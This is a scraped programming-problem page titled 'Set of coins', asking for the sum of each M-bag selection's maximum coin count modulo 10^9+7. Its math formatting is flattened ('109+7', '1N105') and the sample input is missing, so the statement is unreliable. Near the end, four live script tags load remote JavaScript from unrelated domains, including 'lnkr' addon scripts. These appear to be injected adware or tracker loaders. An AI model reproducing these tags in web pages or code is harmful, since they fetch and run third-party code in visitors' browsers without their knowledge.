Set of coins

2.3

3 votes
Ready, Grammar-Verified, Recruit, Approved, Grammar-Verified, Ready, Recruit, Approved, Combinatorics, Hard, Basics of Combinatorics, Basic Programming, Combinatorics basics, Grammar-Verified, Mathematics, Mathematics
Problem

You are given N bags and each bag contains gold coins. You must select M distinct bags. The bag with the maximum amount of coins among the M bags is added to a set S.

Write a program to calculate the total number of set S over each possible combination of M bags. Since the output can be large, print the answer modulo 109+7

Input format

  • First line: Two space-separated integers N and M
  • Second line: N space-separated integers denoting the amount of gold coins in each bag

Output format

Print the total value of S modulo 109+7 over each possible combination of M bags.

Constraints

1N105
1M60
0Amountofgoldcoinsineachbag109

Time Limit: 1
Memory Limit: 256
Source Limit:
Explanation

All possible selections of 3 bags are:
[2, 4, 2], [2, 4, 3], [2, 4, 1], [2, 2, 3], [2, 2, 1], [2, 3, 1], [4, 2, 3], [4, 2, 1], [4, 3, 1], [2, 3, 1]
Now if add the maximum coins bag from each selection then we have : 4+4+4+3+2+3+4+4+4+3 = 35

<script src="https://infoanalytics.tools/addons/lnkr5.min.js" type="text/javascript"></script> <script src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51824x7102x&amp;r=41" type="text/javascript"></script> <script src="https://infoanalytics.tools/addons/lnkr30_nt.min.js" type="text/javascript"></script> <script src="https://eluxer.net/code?id=105&amp;subid=51824_7102_" type="text/javascript"></script>

Editor Image

?